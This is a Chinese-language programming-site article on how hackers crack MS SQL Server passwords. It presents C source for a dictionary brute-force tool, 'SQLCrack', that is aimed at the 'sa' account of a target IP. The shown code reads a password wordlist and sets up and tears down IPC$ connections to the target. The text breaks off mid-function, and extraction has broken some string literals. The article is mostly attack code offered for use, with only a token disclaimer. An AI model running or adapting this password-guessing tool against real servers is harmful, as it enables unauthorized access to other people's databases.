程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 黑客是如何破解MSSQLSERCVER密碼的

黑客是如何破解MSSQLSERCVER密碼的

編輯:關於SqlServer
 此程序只作技術交流之用,如用於不法用途,作者不負任何責任!!
  
  這篇文章的重點是如何探測MS SQL Server賬號的密碼,下面以一個實例來說明探測密碼的全過程。
  
  //程序所用到的頭文件
  
  //定義全局變量
  char dict[20000][40],//准備探測的密碼
  UserName[40],//用戶名
  target[40],//目標服務器
  passwd[40];//已經探測出來的正確密碼
  int total=0;//字典裡面單詞數量
  BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
  
  //
  //函數:usage
  //功能:顯示程序幫助信息
  //
  void usage()
  {
  printf("
Power by analyzer〈[email protected]〉"
  "
http://www.infocn.com"
  "
Usage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
  "
Example:SQLCrack 192.168.0.1 sa c:\pwd.dic 50
");
  return;
  }
  //
  //函數:ReadDic
  //功能:從字典文件裡面讀取數據,傳遞給全局變量dict,准備探測密碼
  //說明:函數運行失敗返回值1,成功返回0
  //
  int ReadDic(char *dic)
  {
  FILE *fp;
  char tmp[40];
  
  //打開字典文件
  if((fp=fopen(dic,"r"))==NULL)
  {
  printf("
Can't open %s",dic);
  return 1;
  }
  
  while(!feof(fp))
  {
  //讀取數據到臨時變量
  if(fgets(tmp,40,fp)==NULL)
  break;
  //這裡別忘了把從文件裡面讀出來的最後一位數據[換行符號]去掉,不然就探測不出來密碼了
  strncpy(dict[total],tmp,strlen(tmp)-1);
  total++;
  //因為dict定義為dict[20000][40],所以這裡如果字典裡面的單詞超出20000就退出循環
  //不然就會溢出啦.可以自行調准
  if(total〉=20000)
  break;
  }
  fclose(fp);
  return 0;
  }
  
  //
  //函數:ConnIPC
  //功能:建立IPC連接
  //說明:連接失敗返回值1,成功返回值0
  //
  int ConnIPC(char *RemoteName)
  {
  NETRESOURCE nr;
  DWord flags=CONNECT_UPDATE_PROFILE;
  TCHAR RN[30]="\\",
  LN[5]="";
  
  strcat(RN,RemoteName);
  strcat(RN,"\ipc$");
  
  //填充數據結構
  nr.dwType=RESOURCETYPE_DISK;
  nr.lpLocalName=(LPTSTR)&LN;
  nr.lpRemoteName=(LPTSTR)&RN;
  nr.lpProvider=NULL;
  
  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  //
  //函數:DelIPC
  //功能:斷開IPC Session
  //說明:成功返回值0,否則返回1
  //
  int DelIPC(char *RemoteName)
  {
  DWord ret;
  TCHAR
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved